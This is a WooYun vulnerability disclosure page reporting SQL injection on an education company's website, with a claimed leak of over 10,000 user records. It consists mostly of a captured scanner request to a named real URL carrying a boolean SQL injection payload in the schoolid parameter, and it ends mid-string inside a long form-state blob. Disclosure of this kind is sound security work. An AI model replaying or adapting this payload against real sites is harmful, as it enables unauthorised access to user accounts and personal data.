当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105304

漏洞标题:昂立教育官网多处SQL注射导致1W+用户信息外漏(账户,密码,邮箱)

相关厂商:新课程教育在线

漏洞作者: 千斤拨四两

提交时间:2015-04-03 10:11

修复时间:2015-05-18 10:12

公开时间:2015-05-18 10:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多个文件存在注射点,get注射以及post。

详细说明:

http://www.newclasses.org/2013ZYT/school_detail.aspx?schoolid=1


截取的数据包。

POST /2013ZYT/school_detail.aspx?schoolid=-1%27%20or%2035%20%3d%20%2733 HTTP/1.1
Content-Length: 24657
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: ASP.NET_SessionId=hur5d355kwqyd33m02sdwojk; urlReferer_in=http%3a%2f%2fwww.newclasses.org%2fdefault.aspx; subid=2; newcalsses_course_car=%255b%257b%2522CourseContent%2522%253anull%252c%2522CourseId%2522%253a0%252c%2522CourseImgUrl%2522%253anull%252c%2522CourseName%2522%253anull%252c%2522CourseTypeAvtiveName%2522%253anull%252c%2522CourseWareActiveType%2522%253a0%252c%2522CourseWareContent%2522%253anull%252c%2522CourseWareId%2522%253a7%252c%2522CourseWareTitle%2522%253a%25222013%25e5%25b1%258a%25e4%25b8%25ad%25e8%2580%2583%25e5%2590%258d%25e5%25b8%2588%25e9%259d%25a2%25e6%258e%2588%25e5%2586%25b2%25e5%2588%25ba%25e7%258f%25ad%2522%252c%2522GradeName%2522%253anull%252c%2522GradeType%2522%253a0%252c%2522SubjectName%2522%253anull%252c%2522SubjectType%2522%253a0%252c%2522TeacherTitle%2522%253anull%252c%2522Teachers%2522%253anull%252c%2522YearType%2522%253a0%252c%2522courseNum%2522%253a0%257d%252c%257b%2522CourseContent%2522%253anull%252c%2522CourseId%2522%253a0%252c%2522CourseImgUrl%2522%253anull%252c%2522CourseName%2522%253anull%252c%2522CourseTypeAvtiveName%2522%253anull%252c%2522CourseWareActiveType%2522%253a0%252c%2522CourseWareContent%2522%253anull%252c%2522CourseWareId%2522%253a5%252c%2522CourseWareTitle%2522%253a%25222013%25e5%25b1%258a%25e9%25ab%2598%25e8%2580%2583%25e5%2590%258d%25e5%25b8%2588%25e9%259d%25a2%25e6%258e%2588%25e5%2586%25b2%25e5%2588%25ba%25e7%258f%25ad%2b%2522%252c%2522GradeName%2522%253anull%252c%2522GradeType%2522%253a0%252c%2522SubjectName%2522%253anull%252c%2522SubjectType%2522%253a0%252c%2522TeacherTitle%2522%253anull%252c%2522Teachers%2522%253anull%252c%2522YearType%2522%253a0%252c%2522courseNum%2522%253a0%257d%252c%257b%2522CourseContent%2522%253anull%252c%2522CourseId%2522%253a0%252c%2522CourseImgUrl%2522%253anull%252c%2522CourseName%2522%253anull%252c%2522CourseTypeAvtiveName%2522%253a%2522%25e9%25ab%2598%25e8%2580%2583%2522%252c%2522CourseWareActiveType%2522%253a0%252c%2522CourseWareContent%2522%253anull%252c%2522CourseWareId%2522%253a1473%252c%2522CourseWareTitle%2522%253a%2522%25e5%258c%2596%25e5%25ad%25a6%2522%252c%2522GradeName%2522%253a%2522%25e9%25ab%2598%25e4%25b8%2589%2522%252c%2522GradeType%2522%253a0%252c%2522SubjectName%2522%253a%2522%25e5%258c%2596%25e5%25ad%25a6%2522%252c%2522SubjectType%2522%253a0%252c%2522TeacherTitle%2522%253anull%252c%2522Teachers%2522%253anull%252c%2522YearType%2522%253a0%252c%2522courseNum%2522%253a0%257d%255d; success=Start; JZID=7; regType=54; cookiev=question; timu1=; timu2=; timu3=; timu4=; timu5=; timu6=; timu7=; timu8=; timu9=; timu10=; timu11=; timu12=; timu13=; timu14=; timu15=; timu16=; timu17=; timu18=; timu19=; timu20=; timu21=; timu22=; timu23=; bookname=1
Host: www.newclasses.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Acunetix-Product: WVS/8.0 (Acunetix Web Vulnerability Scanner - NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
ctl00%24ibtLogin=&ctl00%24txtUserId=%e8%be%93%e5%85%a5%e8%b4%a6%e5%8f%b7...&ctl00%24txtUserPwd=psvpfeav&__EVENTVALIDATION=%2fwEWBAL4xtTZCgKinMSXCALXn93dAQK0w43UCKCqP02ujibEif2h%2fdEqh2l6c2td&__VIEWSTATE=%2fwEPDwUKMjEzMDk5OTgxNw9kFgJmD2QWAgIDD2QWAgIDD2QWBgIBDzwrAAoBAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudAIBZBYCZg9kFgZmDw8WAh4HVmlzaWJsZWhkZAIBD2QWAmYPZBYCZg8VBgzlpI3ml6blpKflraYSPHNwYW4%2bwrcyMTE8L3NwYW4%2bEjxzcGFuPsK3OTg1PC9zcGFuPgMxMzFGaHR0cDovL3d3dy5uZXdjbGFzc2VzLm9yZy8yMDEzenl0L3VwbG9hZC8yMDEwMDFcNjMzOTkwMDI5MjQ3OTY4NzUwLmpwZ%2bWBATxwPuWkjeaXpuWkp%2bWtpuWIm%2bW7uuS6jjE5MDXlubTvvIzljp%2flkI3lpI3ml6blhazlrabjgIImbGRxdW875aSN5pemJnJkcXVvO%2bS6jOWtl%2beUseWIm%2bWni%2bS6uuOAgeS4reWbvei%2fkeS7o%2befpeWQjeaVmeiCsuWutumprOebuOS8r%2bWFiOeUn%2bmAieWumu%2b8jOmAieiHquOAiuWwmuS5puWkp%2bS8oD%2fomZ7lpI%2fkvKDjgIvkuK0mbGRxdW875pel5pyI5YWJ5Y2O77yM5pem5aSN5pem5YWuJnJkcXVvO%2beahOWQjeWPpe%2b8jOaEj%2bWcqOiHquW8uuS4jeaBr%2b%2b8jOWvhOaJmOW9k%2baXtuS4reWbveefpeivhuWIhuWtkOiHquS4u%2bWKnuWtpuOAgeaVmeiCsuW8uuWbveeahOW4jOacm%2bOAgjwvcD4NCjxwPuWkjeaXpuWkp%2bWtpue7j%2bWOhui%2fkeeZvuW5tOeahOayv%2bmdqeOAgjE5MTflubTlpI3ml6blhazlrabmlLnlkI3kuLrnp4Hnq4vlpI3ml6blpKflrabvvIzkuIvorr7mlofjgIHnkIbjgIHllYbkuInnp5Hku6Xlj4rpooTnp5HlkozkuK3lrabpg6jjgIIxOTM35bm05oqX5pel5oiY5LqJ54iG5Y%2bR5ZCO77yM5a2m5qCh5YaF6L%2bB6YeN5bqG5YyX56Ka77yM5bm25LqOMTk0MeW5tOaUueS4uiZsZHF1bzvlm73nq4smcmRxdW8744CCMTk0NuW5tOWtpuagoei%2fgeWbnuS4iua1t%2baxn%2ba5vuWOn%2bWdgOOAguWIsDE5NDnlubTlrabmoKHlt7Lorr7nq4vmlofjgIHnkIbjgIHms5XjgIHllYbjgIHlhpzkupTpmaIyMOWkmuS4quezu%2b%2b8iOenke%2b8ieOAgumygei%2fheOAgemDreayq%2biLpeOAgemCuemfrOWli%2bOAgeiAgeiIjeOAgeeruuWPr%2bahouOAgemprOWvheWIneetieiRl%2bWQjeWtpuiAheabvuWIsOagoea8lOiusuaIluS7u%2baVmeOAgjE5NTDlubTpq5jmoKHliJ3mraXov5vooYzpmaLns7vosIPmlbTvvIzlpI3ml6blpKflrabnmoTmtbfmtIvns7vlubblhaXlsbHkuJzlpKflrabvvJvkuIrmtbfmmqjljZflpKflrabnmoTmlofjgIHms5XjgIHllYbkuInpmaLvvIzlkIzmtY7lpKflrabnmoTmlofjgIHms5XkuKTpmaLvvIzku6Xlj4rmtZnmsZ%2flpKflrabjgIHoi7Hlo6vlpKflrabnmoTpg6jliIbns7vnp5HlubblhaXlpI3ml6blpKflrabjgIIxOTUy5bm056eL5YWo5Zu96auY5qCh6Zmi57O76LCD5pW077yM5aSN5pem5aSn5a2m55qE5rOV5a2m6Zmi44CB5ZWG5a2m6Zmi44CB5Yac5a2m6Zmi6LCD5Ye677yM5YiG5Yir5oiQ56uL5LqG5Y2O5Lic5pS%2f5rOV5a2m6Zmi44CB5LiK5rW36LSi57uP5a2m6Zmi5ZKM5rKI6Ziz5Yac5a2m6Zmi77yb6ICM5Y2O5Lic5Zyw5Yy655qE5rWZ5rGf5aSn5a2m44CB5Lqk6YCa5aSn5a2m44CB5Y2X5Lqs5aSn5a2m44CB5a6J5b695aSn5a2m44CB6YeR6Zm15aSn5a2m44CB5Zyj57qm57%2bw5aSn5a2m44CB5rKq5rGf5aSn5a2m44CB6ZyH5pem5aSn5a2m44CB5aSn5ZCM5aSn5a2m44CB5YWJ5Y2O5aSn5a2m44CB5aSn5aSP5aSn5a2m44CB5LiK5rW35a2m6Zmi44CB5Lit5Y2O5bel5ZWG5LiT56eR5a2m5qCh44CB5Lit5Zu95paw6Ze75LiT56eR5a2m5qCh562J6auY562J6Zmi5qCh55qE5paH44CB55CG56eR5pyJ5YWz57O756eR5bm25YWl5aSN5pem5aSn5a2m44CC5LqM5Y2B5LiW57qqODDlubTku6Pku6XlkI7vvIzlsKTlhbbmmK%2fpgJrov4flm73lrrbmlZnogrLpg6jlkozkuIrmtbfluILlhbHlkIzlu7rorr7vvIzku6Xlj4ombGRxdW875LiD5LqUJnJkcXVvO%2bOAgSZsZHF1bzvlhavkupQmcmRxdW875ZKMJmxkcXVvO%2bS5neS6lCZyZHF1bzvnmoTph43ngrnlu7rorr7vvIzlpI3ml6blpKflrabpgJDmraXlj5HlsZXmiJDkuLrkuIDmiYDkurrmlofnp5HlrabjgIHnpL7kvJrnp5HlrabjgIHoh6rnhLbnp5HlrabjgIHmioDmnK%2fnp5Hlrabku6Xlj4rnrqHnkIbnp5HlrablnKjlhoXnmoTlpJrnp5HmgKfnoJTnqbblnovnu7zlkIjlpKflrabjgIIyMDAw5bm0NOaciDI35pel5LiK5rW35Yy756eR5aSn5a2m5LiO5aSN5pem5aSn5a2m5by65by65ZCI5bm277yM5oiQ56uL5paw55qE5aSN5pem5aSn5a2m44CC5aaC5LuK55qE5aSN5pem5aSn5a2m77yM5a2m56eR6Zeo57G75pu05Li66b2Q5YWo77yM57u85ZCI5a6e5Yqb5pu05Yqg5by65aSn44CCPC9wPg0KPHA%2b5aSN5pem5aSn5a2m546w5Lu75qCh6ZW%2f5Li65p2o546J6Imv5pWZ5o6I77yM5YWa5aeU5Lmm6K6w5Li65pyx5LmL5paH5pWZ5o6I44CCPC9wPg0KPHA%2b5aSN5pem5aSn5a2m5qCh6K6t77yaJmxkcXVvO%2bWNmuWtpuiAjOesg%2bW%2fl%2b%2b8jOWIh%2bmXruiAjOi%2fkeaAnSZyZHF1bzvvvJvmoKHpo47vvJombGRxdW875paH5piO44CB5YGl5bq344CB5Zui57uT44CB5aWL5Y%2bRJnJkcXVvO%2b%2b8jOWtpumjju%2b8miZsZHF1bzvliLvoi6bjgIHkuKXosKjjgIHmsYLlrp7jgIHliJvmlrAmcmRxdW8744CCPC9wPg0KPHA%2b5a2m5qCh546w5pyJ5ZOy5a2m5a2m6Zmi44CB5aSW5paH5a2m6Zmi44CB5paw6Ze75a2m6Zmi44CB5rOV5a2m6Zmi44CB57uP5rWO5a2m6Zmi44CB566h55CG5a2m6Zmi44CB5oqA5pyv56eR5a2m5LiO5bel56iL5a2m6Zmi44CB55Sf5ZG956eR5a2m5a2m6Zmi44CB5LiK5rW35Yy75a2m6Zmi44CB5YWs5YWx5Y2r55Sf5a2m6Zmi44CB6I2v5a2m6Zmi44CB5oqk55CG5a2m6Zmi44CB5L%2bh5oGv56eR5a2m5LiO5bel56iL5a2m6Zmi44CB5Zu96ZmF5YWz57O75LiO5YWs5YWx5LqL5Yqh5a2m6Zmi44CB56S%2b5Lya5Y%2bR5bGV5LiO5YWs5YWx5pS%2f562W5a2m6Zmi44CB5pWw5a2m56eR5a2m5a2m6Zmi5ZKM6L2v5Lu25a2m6Zmi562JMTfkuKrlhajml6XliLblrabpmaLvvIzlkKvmnIk2OeS4quezu%2b%2b8jDcz5Liq5pys56eR5LiT5Lia77yM5LiA57qn5a2m56eR5Y2a5aOr5a2m5L2N5o6I5p2D54K5MjLkuKrvvIzkuoznuqflrabnp5HljZrlo6vlrabkvY3mjojmnYPngrkxMzTkuKoo5YW25Lit6Ieq6K6%2bMjTkuKop77yM56GV5aOr5a2m5L2N5o6I5p2D54K5MjAx5LiqKOWFtuS4reiHquiuvjM45LiqKe%2b8jDbkuKrkuJPkuJrlrabkvY3mjojmnYPngrnvvIw35Liq5pWZ6IKy6YOo5paH56eR6YeN54K556eR56CU5Z%2b65Zyw77yMOeS4quWbveWutuWfuuehgOenkeWtpueglOeptuWSjOaVmeWtpuS6uuaJjeWfueWFu%2bWfuuWcsO%2b8jOW5tuiuvuaciTI15Liq5Y2a5aOr5ZCO56eR56CU5rWB5Yqo56uZ77yM5pyJNDDkuKrlrabnp5Hooqvlm73lrrbmlZnogrLpg6jmibnlh4bkuLrlm73lrrbph43ngrnlrabnp5HvvIzlsYXlhajlm73nrKzkuInkvY3jgII8L3A%2bDQo8cD7lm73lrrbph43ngrnlrabnp5HljIXmi6zvvJrpqazlhYvmgJ3kuLvkuYnlk7LlrabjgIHlpJblm73lk7LlrabjgIHmlL%2fmsrvnu4%2fmtY7lrabjgIHkuJbnlYznu4%2fmtY7jgIHph5Hono3lrabjgIHkuqfkuJrnu4%2fmtY7lrabjgIHmlL%2fmsrvlrabnkIborrrjgIHlm73pmYXlhbPns7vjgIHkuK3lm73lj6Tku6PmloflrabjgIHmsYnor63oqIDmloflrZflrabjgIHkvKDmkq3lrabjgIHljoblj7LlnLDnkIblrabjgIHln7rnoYDmlbDlrabjgIHlupTnlKjmlbDlrabjgIHov5DnrbnlrabkuI7mjqfliLborrrjgIHnkIborrrniannkIbjgIHlh53ogZrmgIHniannkIbjgIHlhYnlrabjgIHniannkIbljJblrabjgIHpq5jliIblrZDljJblrabkuI7niannkIbjgIHnlJ%2fmgIHlrabjgIHnpZ7nu4%2fnlJ%2fnianlrabjgIHpgZfkvKDlrabjgIHnlJ%2fnkIblrabjgIHnlLXot6%2fkuI7ns7vnu5%2fjgIHlvq7nlLXlrZDlrabkuI7lm7rkvZPnlLXlrZDlrabjgIHkurrkvZPop6PliZbkuI7nu4Tnu4fog5rog47lrabjgIHnl4Xljp%2fnlJ%2fnianlrabjgIHnl4XnkIblrabkuI7nl4XnkIbnlJ%2fnkIblrabjgIHlhoXnp5HlrabvvIjlv4PooYDnrqHnl4XjgIHogr7nl4XjgIHkvKDmn5Pnl4XvvInjgIHlhL%2fnp5HlrabjgIHnpZ7nu4%2fnl4XlrabjgIHlvbHlg4%2fljLvlrabkuI7moLjljLvlrabjgIHlpJbnp5HlrabvvIjmma7lpJbnp5HjgIHpqqjlpJbnp5HjgIHms4zlsL%2flpJbnp5HjgIHnpZ7nu4%2flpJbnp5HvvInjgIHnnLznp5HlrabjgIHogLPpvLvlkr3llonnp5HlrabjgIHogr%2fnmKTlrabjgIHkuK3opb%2fljLvnu5PlkIjln7rnoYDjgIHkuK3opb%2fljLvnu5PlkIjkuLTluorjgIHnpL7kvJrljLvlrabkuI7ljavnlJ%2fkuovkuJrnrqHnkIbjgII8L3A%2bDQo8cD7lrabmoKHnjrDmnInkuK3lm73or63oqIDmloflrabnoJTnqbbmiYDjgIHkuK3lm73npL7kvJrkuLvkuYnluILlnLrnu4%2fmtY7noJTnqbbkuK3lv4PjgIHnvo7lm73pl67popjnoJTnqbbkuK3lv4PjgIHljoblj7LlnLDnkIbnoJTnqbbmiYDjgIHkurrlj6PnoJTnqbbmiYDjgIHkuJbnlYznu4%2fmtY7noJTnqbbmiYDjgIHph5Hono3noJTnqbbpmaLjgIHmlbDlrabnoJTnqbbmiYDjgIHnjrDku6PniannkIbnoJTnqbbmiYDjgIHpgZfkvKDlrabnoJTnqbbmiYDjgIHkuIrmtbfluILlv4PooYDnrqHnl4XnoJTnqbbmiYDjgIHkuIrmtbfluILmlL7lsITljLvlrabnoJTnqbbmiYDjgIHogp3nmYznoJTnqbbmiYDnrYk3N%2bS4queglOeptuacuuaehO%2b8jDEyNuS4qui3qOWtpuenkeeglOeptuS4reW%2fg%2b%2b8jOacieWFiOi%2fm%2bWFieWtkOWtpuadkOaWmeS4juWZqOS7tuOAgeS4k%2beUqOmbhuaIkOeUtei3r%2bS4juezu%2be7n%2bOAgeW6lOeUqOihqOmdoueJqeeQhuOAgemBl%2bS8oOW3peeoi%2bOAgeWMu%2bWtpuelnue7j%2beUn%2beJqeWtpuetiTXkuKrlm73lrrbph43ngrnlrp7pqozlrqTjgII8L3A%2bDQo8cD7lrabmoKHnjrDmnInlkITnsbvlrabnlJ%2fov5E0NSwwMDDkvZnkurrvvIzlhbbkuK3mma7pgJrmnKzkuJPnp5HnlJ8xNjIwMOS9meS6uu%2b8jOehleWjq%2beUnzcwMDDkvZnkurrjgIHljZrlo6vnlJ8zLDEwMOS9meS6uu%2b8jOWkluWbveeVmeWtpueUnzEsNzYw5L2Z5Lq677yM5oiQ5Lq65pWZ6IKy5pys5LiT56eR55SfMTEwMDDkvZnkurrvvIznvZHnu5zmlZnogrLmnKzkuJPnp5HnlJ%2fov5E1ODAw5Lq644CCPC9wPg0KPHA%2b5a2m5qCh5oul5pyJ5LiA5pSv6auY5rC05bmz55qE5biI6LWE6Zif5LyN77yM546w5pyJ5LiT5Lu75pWZ5biI5LiO56eR56CU5Lq65ZGYMjQwMOS9meS6uu%2b8jOWFtuS4reaVmeaOiOOAgeWJr%2baVmeaOiDEzNTDkvZnkurrvvIzkuK3lm73np5HlrabpmaLjgIHkuK3lm73lt6XnqIvpmaLpmaLlo6syNOS6uu%2b8jOWNmuWjq%2beUn%2bWvvOW4iOi%2fkTY2MOS9meS6uu%2b8jOaVmeiCsumDqCZsZHF1bzvplb%2fmsZ%2flrabogIXlpZblirHorqHliJImcmRxdW8754m56IGY5pWZ5o6IMjbkurrjgIHorrLluqfmlZnmjogy5Lq677yM5aSN5pem5aSn5a2m5p2w5Ye65pWZ5o6IM%2bS6uuOAgeeJueiBmOaVmeaOiDEw5Lq677yMJmxkcXVvOzk3MyZyZHF1bzvpppbluK3np5HlrablrrY25Lq677yMJmxkcXVvO%2bWbveWutue6p%2bacieeqgeWHuui0oeeMruS4remdkuW5tOS4k%2bWutiZyZHF1bzsyNeS6uuOAgui%2fkeWHoOW5tOadpe%2b8jOWtpuagoeenr%2baegeW8lei%2fm%2bS6uuaJje%2b8jOWunuaWveaVmeiCsumDqCZsZHF1bzvplb%2fmsZ%2flrabogIXlpZblirHorqHliJImcmRxdW8777yM5raM546w5Ye65LiA5om55LyY56eA55qE5Lit6Z2S5bm05pWZ5biI77yM5LyY5YyW5LqG5biI6LWE6Zif5LyN57uT5p6E44CC5a2m5qCh6L%2bY5oul5pyJ5Lit5bGx44CB5Y2O5bGx562JOeS4qumZhOWxnuWMu%2bmZou%2b8jOmbhuWMu%2beWl%2bacjeWKoeOAgeS4tOW6iuaVmeWtpuS4juenkeeglOW3peS9nOS6juS4gOS9k%2bOAguWMu%2bmZouWMu%2beWl%2biuvuWkh%2bWFiOi%2fm%2bOAgeaKgOacr%2bWKm%2bmHj%2bmbhOWOmu%2b8jOaciTkwMOWkmuS6uuWFt%2bacieato%2bOAgeWJr%2bmrmOe6p%2biBjOensO%2b8jOS4uuS4tOW6iuaVmeWtpuWIm%2bmAoOS6huiJr%2bWlveeahOaVmeWtpuadoeS7tuOAgjwvcD4NCjxwPuWkjeaXpuWOhuWPsuS4iuabvue7j%2baLpeacieS4gOWkp%2baJueWtpuacr%2bWkp%2bW4iOWSjOiRl%2bWQjeWtpuiAhe%2b8jOWcqOWbveWGheWkluS6q%2bacieebm%2biqieOAguWRqOiwt%2bWfjuOAgemZiOacm%2bmBk%2bOAgeminOemj%2bW6huOAgeiLj%2batpemdkuOAgeiwreWFtumqp%2bOAgeWRqOS6iOWQjOOAgemZiOW7uuWKn%2bOAgeacseS4nOa2puOAgeiDoeabsuWbreOAgeS4peWMl%2ba6n%2bOAgeW8oOS4luemhOOAgeS8jeigoeeUq%2bOAgeWNoum5pOe7guOAgeiwouW4jOW%2bt%2betieiRl%2bWQjeWtpuiAhemVv%2bacn%2bWcqOagoeaJp%2baVme%2b8jOS4uuWkjeaXpuWloOWumuS6humbhOWOmueahOWtpuacr%2bS8oOe7n%2bWSjOWfuuehgOOAguiwiOWutuahouOAgeWQtOa1qemdkuOAgeiwt%2bi2heixquOAgeiDoeWSjOeUn%2bOAgeeOi%2bi%2fheOAgemZiOS4reS8n%2bOAgeadqOmbhOmHjOOAgeadqOemj%2bWutuOAgeaxpOmSiueMt%2bOAgemhvueOieS4nOOAgeadjuWkp%2ba9nOOAgemZiOeBj%2bePoOOAgeayiOiHquWwueOAgemXu%2beOieaiheOAgeeOi%2bWogeeQquOAgemZhuiwt%2bWtmeOAgeeroOWfueaBkuetieS4gOWkp%2baJueefpeWQjeS4k%2bWutu%2b8jOS7jea0u%2bi3g%2bWcqOWbveWGheWkluWtpuacr%2biInuWPsOS4iu%2b8jOaIkOS4uuWkjeaXpuW9k%2bS7o%2bWtpuacr%2beyvuelnueahOS7o%2bihqOOAguW7uuagoeS7peadpeWkjeaXpuWkp%2bWtpuWFseWfueWFu%2bS6hjE45LiH5L2Z5ZCN5ZCE57G75q%2bV5Lia55Sf77yM5raM546w5Ye65YyF5ous5LqO5Y%2bz5Lu744CB6YK15Yqb5a2Q44CB6ZmI5a%2bF5oGq44CB56u65Y%2bv5qGi44CB5byg5b%2bX6K6p44CB5p2O5bKa5riF562J5qCh5Y%2bL5Zyo5YaF55qE5LyX5aSa5p2w5Ye65Lq65omN77yM5Li65Zu95a6255qE5bu66K6%2b5LqL5Lia5L2c5Ye65LqG5Y2T6LaK6LSh54yu44CCPC9wPg0KPHA%2b5aSN5pem5aSn5a2m5oqK5Z%2b55YW75YW35pyJ5YWo6Z2i57Sg6LSo55qE6auY6LSo6YeP5Lq65omN5L2c5Li65pWZ5a2m55qE5qC55pys55uu5qCH44CC5a2m5qCh5LuO6Ieq5bex55qE5a6e6ZmF5Ye65Y%2bR77yM5aSn6IOG5ZC45pS25Zu95YaF5aSW6auY5qCh55qE5oiQ5Yqf57uP6aqM77yM5rOo6YeN5Yqg5by65a2m56eR6Ze055qE5riX6YCP44CB5Lqk5Y%2bJ44CB57uE5ZCI77yM5Y%2bR5oyl57u85ZCI5oCn5aSn5a2m5aSa5a2m56eR55qE54m56Imy5ZKM5LyY5Yq%2f77yM57uP6L%2bH6ZW%2f5pyf55qE5a6e6Le15ZKM5o6i57Si77yM5bey57uP5bu656uL6LW35LiA5aWX5q%2bU6L6D5a6M5pW055qE44CB5pyJ6Ieq6Lqr54m554K555qE5pWZ5a2m6K6h5YiS5ZKM566h55CG5L2T57O744CC5a2m56eR5bu66K6%2b5YWo6Z2i5ZCv5Yqo77yM5Y%2bR5bGV5Yq%2f5aS06Imv5aW944CCMjAwMuW5tO%2b8jOWFqOWbveaVmeWtpuaIkOaenOiOt%2bWlluaVsOWIl%2bWFqOWbveesrOS4ie%2b8jOWFqOWbveS8mOengOaVmeadkOivhOWlluWIl%2bWFqOWbveesrOS6jOOAgjwvcD4NCjxwPuWtpuagoeWcqCZsZHF1bzvpgJrmiY3mlZnogrLvvIzmjInnsbvmlZnlraYmcmRxdW8755qE5Y6f5YiZ5LiL77yM5oyJ54WnJmxkcXVvO%2bWOmuWfuuehgOOAgeWuveWPo%2bW%2bhOOAgemHjeiDveWKm%2bOAgeaxguWIm%2baWsCZyZHF1bzvnmoTmlZnlrabnkIblv7XvvIzlsIYmbGRxdW875pmu6YCa5pWZ5a2m44CB5Z%2b656GA5pWZ5a2m44CB5LiT5Lia5pWZ5a2mJnJkcXVvO%2bS4ieS4quaWuemdoueahOaVmeWtpuWGheWuue%2b8jOacieacuuWcsOe7k%2bWQiOi1t%2badpe%2b8jOazqOmHjeS4quaAp%2bWPkeWxle%2b8jOS9v%2bWtpueUn%2biOt%2bW%2bl%2bezu%2be7n%2beahOefpeivhuWSjOWunui3temUu%2beCvOeahOacuuS8muOAguWtpuagoeS7jjE5OTTlubTlrp7mlr3lrabliIbliLbmlZnlrabnrqHnkIbvvIzliqDlvLrlrabnlJ%2fnmoTnp5HnoJTorq3nu4PvvIzln7nlhbvlhbbliJvmlrDnsr7npZ7lkozliqjmiYvog73lipvjgILlkIzml7bliqDlvLror77nqIvlu7rorr7vvIzlpKflipvmj5DlgKEmbGRxdW875ZCN5pWZ5o6I5LiK5Z%2b656GA6K%2b%2b44CB5bim5Z%2b656GA5a6e6aqMJnJkcXVvO%2bOAgjIwMDHlubTlj4jliLborqLjgIrlhajpnaLmjqjov5vlrabliIbliLblu7rorr7nmoTlj6%2fooYzmgKfmlrnmoYjjgIvvvIzov5vkuIDmraXlrp7mlr3ku6XmlofnkIbmlZnogrLkuLrnibnngrnnmoTlrabliIbliLblu7rorr7nm67moIfvvIzmoJHnq4smbGRxdW875Lul5a2m55Sf5Li65Lit5b%2bDJnJkcXVvO%2beahOinguW%2fte%2b8jOWcqOiwg%2baVtOivvueoi%2biuvue9ruOAgeWOi%2be8qeWtpuWIhuOAgeW7uueri%2bWkmuenjeWtpuS9jeiuoeWIku%2b8jOW8gOaUvumAieaLqeS4k%2bS4muOAgeaOqOihjOWtpuacn%2bW8gOivvuWItu%2b8jOaMieWtpuWIhuaUtui0ueOAgeaVmeWtpui1hOa6kOaKleWFpe%2b8jOaLm%2baUtuWkluagoeaPkuePreeUn%2bS7peWPiuacrOagoeeUn%2bWPr%2bS7pei9rOS4k%2bS4muetieaWuemdoui%2fm%2bihjOaUuemdqe%2b8jOe7meWtpueUn%2bS7peabtOWkmueahOiHquS4u%2bmAieaLqeadg%2bOAgjwvcD4NCjxwPuWtpuagoeeahOeglOeptueUn%2baVmeiCsui0qOmHj%2bS5n%2bWcqOS4jeaWreaPkOmrmO%2b8jOWcqOWOhuW5tOWFqOWbveS8mOengOWNmuWjq%2bWtpuS9jeiuuuaWh%2bivhOmAieS4rSzntK%2forqHmnIkzMOevh%2biuuuaWh%2bWFpemAie%2b8jOWFpemAieaAu%2baVsOWxheWFqOWbveesrOS4ieOAgueglOeptueUn%2bWPkeihqOiuuuaWh%2baVsOS5n%2bacieWinumVv%2b%2b8jOWvueWtpuagoeenkeeglOi0oeeMrueOh%2bacieaJgOaPkOmrmOOAgjIwMDDlubTlhajmoKHnoJTnqbbnlJ%2flj5HooajorrrmlofmlbDljaDlrabmoKHmgLvmlbDnmoQzOS40JeOAguWcqDIwMDHlubTkuprmtLIxM%2baJgOiRl%2bWQjeWVhuWtpumZouWPguWKoOeahCZsZHF1bzvkuprmtLLliJvkuJrorqHliJLlpKfotZsmcmRxdW875LiK77yM5oiR5qChTUJB5Luj6KGo6Zif5ZuK5ous5YWo6YOo5Y2V6aG55LiO5oC75YiG5Yag5Yab77yM5Zyo5YWo5Zu9JmxkcXVvO%2bWNjuS4uuadryZyZHF1bzvnoJTnqbbnlJ%2fnlLXlrZDorr7orqHlpKfotZvkuK3vvIzmiJHmoKHlpJrmrKHojrflm6LkvZPlkozkuKrkurrlhqDlhpvjgII8L3A%2bDQo8cD7lrabmoKHlu7rnq4vkuobkuIDlpZfkuKXmoLzogIzmnInnibnoibLnmoTmlZnlrabnrqHnkIbliLbluqbvvIznoJTliLblkozlvIDlj5HkuoblhbfmnInlm73lhoXlhYjov5vmsLTlubPnmoTjgIrpq5jmoKHnvZHkuIrmlZnliqHnrqHnkIbns7vnu5%2fjgIvvvIzlrp7ooYzlr7zluIjliLbnrYnkuIDns7vliJfmjqrmlr3vvIzliLblrprkuobkuIDns7vliJfooYzkuYvmnInmlYjnmoTnrqHnkIbliLbluqbvvIzlhajpnaLlrp7njrDkuobnp5HlrabljJbjgIHkuJPkuJrljJbnrqHnkIbvvIzlubblnZrmjIHkuI3mh4jlnLDmlbTmsrvmlZnpo47lkozogIPpo47vvIzlvaLmiJDkuoboia%2flpb3nmoTlrabpo47lkozmoKHpo47jgII8L3A%2bDQo8cD7lrabmoKHph43op4bnrKzkuozor77loILnmoTmlZnogrLvvIzorr7nq4vkuoYmbGRxdW875a2m55Sf56eR5oqA5Yib5paw5Z%2b66YeRJnJkcXVvO%2b%2b8jCZsZHF1bzvlpKflrabnlJ%2fmmpHmnJ%2fnpL7kvJrlrp7ot7Xln7rph5EmcmRxdW8777yMJmxkcXVvO%2bWtpueUn%2beyvuWTgeekvuWbouW7uuiuvuWfuumHkSZyZHF1bzvkuInkuKrkuIDnmb7kuIfmlK%2fmjIHorqHliJLvvIzlvIDlip7nmb7lnLrnsr7lk4HorrLluqfvvIzlgKHlr7zor7vnmb7mnKzkuabvvIzlj4LliqDnmb7pobnnpL7kvJrlrp7ot7Xlkozlrp7pqozor77popjvvIzkvb%2fku6XlvrfogrLkuLrmoLjlv4PvvIzln7nlhbvliJvmlrDog73lipvlkozlrp7ot7Xog73lipvvvIzlvrfjgIHmmbrjgIHkvZPjgIHnvo7nm7jkupLmuJfpgI%2fnmoTntKDotKjmlZnogrLvvIzmiJDkuLrmoKHlm63nlJ%2fmtLvnmoTkuLvml4vlvovjgILlnKjlj43mmKDlrabnlJ%2fnp5HmioDliJvmlrDog73lipvnmoTlhajlm73lpKflrabnlJ8mbGRxdW875o